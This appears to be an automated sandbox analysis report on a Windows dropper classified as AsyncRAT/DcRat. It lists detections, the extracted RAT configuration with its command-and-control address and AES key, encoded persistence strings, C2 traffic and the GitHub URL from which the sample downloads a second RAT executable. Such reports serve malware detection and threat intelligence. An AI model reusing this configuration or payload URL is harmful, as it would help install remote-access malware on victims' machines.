Edit tour

Windows Analysis Report
SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe

Overview

General Information

Sample name:	SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe
Analysis ID:	1522429
MD5:	e40eb702f369e5decfb33b3d78bd4b0c
SHA1:	3de25a909a7d8f20aaa4d9aba60aeb501c247f86
SHA256:	16a2abe3f4f2c005e206318caf37a366e0084fa8ca8561f3642fa0b4f2f04a7e
Tags:	exe
Infos:

Detection

AsyncRAT, DcRat

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected AsyncRAT

Yara detected DcRat

.NET source code references suspicious native API functions

AI detected suspicious sample

Machine Learning detection for dropped file

Queries memory information (via WMI often done to detect virtual machines)

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: System File Execution Location Anomaly

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains strange resources

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe (PID: 4976 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe" MD5: E40EB702F369E5DECFB33B3D78BD4B0C)

RuntimeBroker.exe (PID: 3420 cmdline: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe MD5: 2C417B524AED1DA84F185711E5A478F1)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
AsyncRAT	AsyncRAT is a Remote Access Tool (RAT) designed to remotely monitor and control other computers through a secure encrypted connection. It is an open source remote administration tool, however, it could also be used maliciously because it provides functionality such as keylogger, remote desktop control, and many other functions that may cause harm to the victims computer. In addition, AsyncRAT can be delivered via various methods such as spear-phishing, malvertising, exploit kit and other techniques.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/asyncrat-onenote-dropper https://aidenmitchell.ca/asyncrat-via-vbs/ https://assets.virustotal.com/reports/2021trends.pdf https://axmahr.github.io/posts/asyncrat-detection/ https://blog.checkpoint.com/research/november-2023s-most-wanted-malware-new-asyncrat-campaign-discovered-while-fakeupdates-re-entered-the-top-ten-after-brief-hiatus/	https://malpedia.caad.fkie.fraunhofer.de/details/win.asyncrat

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Malware Configuration

Threatname: AsyncRAT

{"Server": "37.18.62.18", "Ports": "8060", "Version": "1.0.7", "Autorun": "false", "Install_Folder": "%AppData%", "Install_File": "RuntimeBroker.exe", "AES_key": "Wd0QrNKKApZ7VsN4yQvJ31HLn2KfmGAC", "Mutex": "RuntimeBroker.exe", "Certificate": "MIICMDCCAZmgAwIBAgIVAMebWcDfsbx7xBUtftv4J8rvdQ5tMA0GCSqGSIb3DQEBDQUAMGQxFTATBgNVBAMMDERjUmF0IFNlcnZlcjETMBEGA1UECwwKcXdxZGFuY2h1bjEcMBoGA1UECgwTRGNSYXQgQnkgcXdxZGFuY2h1bjELMAkGA1UEBwwCU0gxCzAJBgNVBAYTAkNOMB4XDTIyMDgwNTIwNTQxN1oXDTMzMDUxNDIwNTQxN1owEDEOMAwGA1UEAwwFRGNSYXQwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAK9tl6zcamBVFPcQeeBAPP9RBUNPT3Mgr0m68e+VH0I6vtGeBv72FkZN9MnG89fHCaEqlu6tG1gF8bOzLjb2lpnR1pGqqOSlNMT87tzwIAwySA2NB+fnyP3MgwYXbr+TYfnG228PR3sWv7SAC4dBA0qNDkPfaF2T/FnMCjRFV1rJAgMBAAGjMjAwMB0GA1UdDgQWBBQ8oXnvUFqnsj4WW6tDCxofvf4n8TAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBDQUAA4GBAC5Q5hFCkd4IllWwnalB4Dv3dn4Tf5bExzP/zEalvCIE2nCMfVIYRw/n5L2eXgsTefHSY0nGEbQfzIB/W6itQXVQNoPBef5rBGxU1GvcnzAgSsMUYNcnOQnvThA2ZpiUDLElzvG/7pCszzwKGDdx7nbivK31lDxBJe3qaJXMh0nv", "ServerSignature": "bCiXv7J8PRadRPbRtO2V1U6jkfGOSIfLKIPU7qgUIMavqn7dKm3yC1zdRY+XJSVGuWOv+7CTurKpLtZpKaqGMoPUWFA5GxowHBoNkBGlURBNr42X/hDXROGJu5BE++gclzr2uNznxCAIwaRL3ohSFmknkpknGbPcYZTot2Q6ldw=", "External_config_on_Pastebin": "null", "BDOS": "false", "Startup_Delay": "1", "Group": "RuntimeBroker", "AntiProcess": "false", "AntiVM": "true"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x9658:$a1: havecamera 0xd031:$a2: timeout 3 > NUL 0xd051:$a3: START "" " 0xcedc:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0xcf91:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\XWormUI[1].exe	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x65f7:$a1: havecamera 0x9ae4:$a2: timeout 3 > NUL 0x9b04:$a3: START "" " 0x998f:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x9a44:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\XWormUI[1].exe	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x65f7:$a1: havecamera 0x9ae4:$a2: timeout 3 > NUL 0x9b04:$a3: START "" " 0x998f:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x9a44:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x9a44:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x998f:$s2: L2Mgc2NodGFza3MgL2 0x990e:$s3: QW1zaVNjYW5CdWZmZXI 0x995c:$s4: VmlydHVhbFByb3RlY3Q
C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x9cc6:$q1: Select * from Win32_CacheMemory 0x9d06:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x9d54:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x9da2:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	INDICATOR_SUSPICIOUS_EXE_DcRatBy	Detects executables containing the string DcRatBy	ditekSHen	0xa13e:$s1: DcRatBy
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\XWormUI[1].exe	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x9a44:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x998f:$s2: L2Mgc2NodGFza3MgL2 0x990e:$s3: QW1zaVNjYW5CdWZmZXI 0x995c:$s4: VmlydHVhbFByb3RlY3Q
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\XWormUI[1].exe	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x9cc6:$q1: Select * from Win32_CacheMemory 0x9d06:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x9d54:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x9da2:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\XWormUI[1].exe	INDICATOR_SUSPICIOUS_EXE_DcRatBy	Detects executables containing the string DcRatBy	ditekSHen	0xa13e:$s1: DcRatBy
Click to see the 5 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000003.00000000.2173837580.0000000000612000.00000002.00000001.01000000.00000006.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000003.00000000.2173837580.0000000000612000.00000002.00000001.01000000.00000006.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x63f7:$a1: havecamera 0x98e4:$a2: timeout 3 > NUL 0x9904:$a3: START "" " 0x978f:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x9844:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
00000003.00000002.4612955259.0000000000A88000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x1ecec:$b2: DcRat By qwqdanchun1
00000003.00000002.4613580739.0000000002AA1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DcRat_2	Yara detected DcRat	Joe Security
00000003.00000002.4613580739.0000000002AA1000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x54e8:$b1: DcRatByqwqdanchun 0x29e0bc:$b2: DcRat By qwqdanchun1
Process Memory Space: RuntimeBroker.exe PID: 3420	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: RuntimeBroker.exe PID: 3420	JoeSecurity_DcRat_2	Yara detected DcRat	Joe Security
Process Memory Space: RuntimeBroker.exe PID: 3420	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0xc815:$a1: havecamera 0x113f8:$b1: DcRatByqwqdanchun 0x148cf:$b1: DcRatByqwqdanchun 0x3bf1:$b2: DcRat By qwqdanchun1 0x1c70b:$b2: DcRat By qwqdanchun1
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
3.0.RuntimeBroker.exe.610000.0.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
3.0.RuntimeBroker.exe.610000.0.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x65f7:$a1: havecamera 0x9ae4:$a2: timeout 3 > NUL 0x9b04:$a3: START "" " 0x998f:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x9a44:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
3.0.RuntimeBroker.exe.610000.0.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x9a44:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x998f:$s2: L2Mgc2NodGFza3MgL2 0x990e:$s3: QW1zaVNjYW5CdWZmZXI 0x995c:$s4: VmlydHVhbFByb3RlY3Q
3.0.RuntimeBroker.exe.610000.0.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x9cc6:$q1: Select * from Win32_CacheMemory 0x9d06:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x9d54:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x9da2:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
3.0.RuntimeBroker.exe.610000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DcRatBy	Detects executables containing the string DcRatBy	ditekSHen	0xa13e:$s1: DcRatBy

Sigma Signatures

System Summary

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, ProcessId: 4976, TargetFilename: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe

Sigma detected: System File Execution Location Anomaly

Source: Process started

Author: Florian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali: Data: Command: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe, CommandLine: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, ParentProcessId: 4976, ParentProcessName: SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, ProcessCommandLine: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe, ProcessId: 3420, ProcessName: RuntimeBroker.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\XWormUI[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1305769
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Avira: detection malicious, Label: HEUR/AGEN.1305769

Found malware configuration

Source: 3.0.RuntimeBroker.exe.610000.0.unpack

Malware Configuration Extractor: AsyncRAT {"Server": "37.18.62.18", "Ports": "8060", "Version": "1.0.7", "Autorun": "false", "Install_Folder": "%AppData%", "Install_File": "RuntimeBroker.exe", "AES_key": "Wd0QrNKKApZ7VsN4yQvJ31HLn2KfmGAC", "Mutex": "RuntimeBroker.exe", "Certificate": "MIICMDCCAZmgAwIBAgIVAMebWcDfsbx7xBUtftv4J8rvdQ5tMA0GCSqGSIb3DQEBDQUAMGQxFTATBgNVBAMMDERjUmF0IFNlcnZlcjETMBEGA1UECwwKcXdxZGFuY2h1bjEcMBoGA1UECgwTRGNSYXQgQnkgcXdxZGFuY2h1bjELMAkGA1UEBwwCU0gxCzAJBgNVBAYTAkNOMB4XDTIyMDgwNTIwNTQxN1oXDTMzMDUxNDIwNTQxN1owEDEOMAwGA1UEAwwFRGNSYXQwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAK9tl6zcamBVFPcQeeBAPP9RBUNPT3Mgr0m68e+VH0I6vtGeBv72FkZN9MnG89fHCaEqlu6tG1gF8bOzLjb2lpnR1pGqqOSlNMT87tzwIAwySA2NB+fnyP3MgwYXbr+TYfnG228PR3sWv7SAC4dBA0qNDkPfaF2T/FnMCjRFV1rJAgMBAAGjMjAwMB0GA1UdDgQWBBQ8oXnvUFqnsj4WW6tDCxofvf4n8TAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBDQUAA4GBAC5Q5hFCkd4IllWwnalB4Dv3dn4Tf5bExzP/zEalvCIE2nCMfVIYRw/n5L2eXgsTefHSY0nGEbQfzIB/W6itQXVQNoPBef5rBGxU1GvcnzAgSsMUYNcnOQnvThA2ZpiUDLElzvG/7pCszzwKGDdx7nbivK31lDxBJe3qaJXMh0nv", "ServerSignature": "bCiXv7J8PRadRPbRtO2V1U6jkfGOSIfLKIPU7qgUIMavqn7dKm3yC1zdRY+XJSVGuWOv+7CTurKpLtZpKaqGMoPUWFA5GxowHBoNkBGlURBNr42X/hDXROGJu5BE++gclzr2uNznxCAIwaRL3ohSFmknkpknGbPcYZTot2Q6ldw=", "External_config_on_Pastebin": "null", "BDOS": "false", "Startup_Delay": "1", "Group": "RuntimeBroker", "AntiProcess": "false", "AntiVM": "true"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\XWormUI[1].exe	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\XWormUI[1].exe	Virustotal: Detection: 72%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Virustotal: Detection: 72%	Perma Link

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	ReversingLabs: Detection: 44%
Source: SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Virustotal: Detection: 58%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\XWormUI[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe	Joe Sandbox ML: detected

Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.111.133:443 -> 192.168.2.6:49712 version: TLS 1.2

Source: SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\erays\source\repos\seftali\x64\Release\seftali.pdb%% source: SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe
Source:	Binary string: C:\Users\erays\source\repos\seftali\x64\Release\seftali.pdb source: SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe

Source: global traffic

TCP traffic: 192.168.2.6:49713 -> 37.18.62.18:8060

Source: Joe Sandbox View	IP Address: 140.82.121.3 140.82.121.3
Source: Joe Sandbox View	IP Address: 140.82.121.3 140.82.121.3
Source: Joe Sandbox View	IP Address: 185.199.111.133 185.199.111.133

Source: Joe Sandbox View

ASN Name: FLEXLTD-ASRU FLEXLTD-ASRU

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	TCP traffic detected without corresponding DNS query: 37.18.62.18
Source: unknown	TCP traffic detected without corresponding DNS query: 37.18.62.18
Source: unknown	TCP traffic detected without corresponding DNS query: 37.18.62.18
Source: unknown	TCP traffic detected without corresponding DNS query: 37.18.62.18
Source: unknown	TCP traffic detected without corresponding DNS query: 37.18.62.18
Source: unknown	TCP traffic detected without corresponding DNS query: 37.18.62.18
Source: unknown	TCP traffic detected without corresponding DNS query: 37.18.62.18
Source: unknown	TCP traffic detected without corresponding DNS query: 37.18.62.18
Source: unknown	TCP traffic detected without corresponding DNS query: 37.18.62.18
Source: unknown	TCP traffic detected without corresponding DNS query: 37.18.62.18
Source: unknown	TCP traffic detected without corresponding DNS query: 37.18.62.18
Source: unknown	TCP traffic detected without corresponding DNS query: 37.18.62.18
Source: unknown	TCP traffic detected without corresponding DNS query: 37.18.62.18
Source: unknown	TCP traffic detected without corresponding DNS query: 37.18.62.18
Source: unknown	TCP traffic detected without corresponding DNS query: 37.18.62.18
Source: unknown	TCP traffic detected without corresponding DNS query: 37.18.62.18
Source: unknown	TCP traffic detected without corresponding DNS query: 37.18.62.18
Source: unknown	TCP traffic detected without corresponding DNS query: 37.18.62.18
Source: unknown	TCP traffic detected without corresponding DNS query: 37.18.62.18
Source: unknown	TCP traffic detected without corresponding DNS query: 37.18.62.18
Source: unknown	TCP traffic detected without corresponding DNS query: 37.18.62.18
Source: unknown	TCP traffic detected without corresponding DNS query: 37.18.62.18
Source: unknown	TCP traffic detected without corresponding DNS query: 37.18.62.18
Source: unknown	TCP traffic detected without corresponding DNS query: 37.18.62.18
Source: unknown	TCP traffic detected without corresponding DNS query: 37.18.62.18
Source: unknown	TCP traffic detected without corresponding DNS query: 37.18.62.18
Source: unknown	TCP traffic detected without corresponding DNS query: 37.18.62.18
Source: unknown	TCP traffic detected without corresponding DNS query: 37.18.62.18
Source: unknown	TCP traffic detected without corresponding DNS query: 37.18.62.18
Source: unknown	TCP traffic detected without corresponding DNS query: 37.18.62.18
Source: unknown	TCP traffic detected without corresponding DNS query: 37.18.62.18
Source: unknown	TCP traffic detected without corresponding DNS query: 37.18.62.18
Source: unknown	TCP traffic detected without corresponding DNS query: 37.18.62.18
Source: unknown	TCP traffic detected without corresponding DNS query: 37.18.62.18
Source: unknown	TCP traffic detected without corresponding DNS query: 37.18.62.18
Source: unknown	TCP traffic detected without corresponding DNS query: 37.18.62.18
Source: unknown	TCP traffic detected without corresponding DNS query: 37.18.62.18
Source: unknown	TCP traffic detected without corresponding DNS query: 37.18.62.18
Source: unknown	TCP traffic detected without corresponding DNS query: 37.18.62.18
Source: unknown	TCP traffic detected without corresponding DNS query: 37.18.62.18
Source: unknown	TCP traffic detected without corresponding DNS query: 37.18.62.18
Source: unknown	TCP traffic detected without corresponding DNS query: 37.18.62.18
Source: unknown	TCP traffic detected without corresponding DNS query: 37.18.62.18
Source: unknown	TCP traffic detected without corresponding DNS query: 37.18.62.18
Source: unknown	TCP traffic detected without corresponding DNS query: 37.18.62.18
Source: unknown	TCP traffic detected without corresponding DNS query: 37.18.62.18
Source: unknown	TCP traffic detected without corresponding DNS query: 37.18.62.18
Source: unknown	TCP traffic detected without corresponding DNS query: 37.18.62.18
Source: unknown	TCP traffic detected without corresponding DNS query: 37.18.62.18
Source: unknown	TCP traffic detected without corresponding DNS query: 37.18.62.18

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe

Code function: 0_2_00007FF6517916C0 InternetOpenW,InternetOpenUrlW,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,InternetReadFile,?write@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@PEBD_J@Z,InternetReadFile,?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAAXH_N@Z,InternetCloseHandle,InternetCloseHandle,??1?$basic_streambuf@DU?$char_traits@D@std@@@std@@UEAA@XZ,??1?$basic_ostream@DU?$char_traits@D@std@@@std@@UEAA@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,

0_2_00007FF6517916C0

Source: global traffic	HTTP traffic detected: GET /errias/XWorm-Rat-Remote-Administration-Tool-/raw/main/XWormUI.exe HTTP/1.1User-Agent: ProgramDownloaderHost: github.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /errias/XWorm-Rat-Remote-Administration-Tool-/main/XWormUI.exe HTTP/1.1User-Agent: ProgramDownloaderCache-Control: no-cacheHost: raw.githubusercontent.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com

Source: RuntimeBroker.exe, 00000003.00000002.4613580739.0000000002AA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000002.4612801980.000001FDB6A79000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000003.4455144712.000001FDB6A76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/3;C
Source: SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000002.4612801980.000001FDB6A79000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000003.4455144712.000001FDB6A76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/D;
Source: SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000002.4612612426.000001FDB6A0C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000003.4455219396.000001FDB6A41000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000002.4612612426.000001FDB6A1F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000002.4612801980.000001FDB6A79000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000003.4455144712.000001FDB6A76000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000002.4612736367.000001FDB6A42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/errias/XWorm-Rat-Remote-Administration-Tool-/raw/main/XWormUI.exe
Source: SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	String found in binary or memory: https://github.com/errias/XWorm-Rat-Remote-Administration-Tool-/raw/main/XWormUI.exeProgramDownloade
Source: SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000002.4612801980.000001FDB6A79000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000003.4455144712.000001FDB6A76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/errias/XWorm-Rat-Remote-Administration-Tool-/raw/main/XWormUI.exer
Source: SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000003.4455060612.000001FDB6AD4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000002.4612736367.000001FDB6A5F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000002.4612956931.000001FDB6AD4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000003.4455219396.000001FDB6A5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/
Source: SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000003.4455060612.000001FDB6AD4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000002.4612956931.000001FDB6AD4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/a
Source: SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000002.4612956931.000001FDB6AA6000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000003.4455060612.000001FDB6AA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/e.b
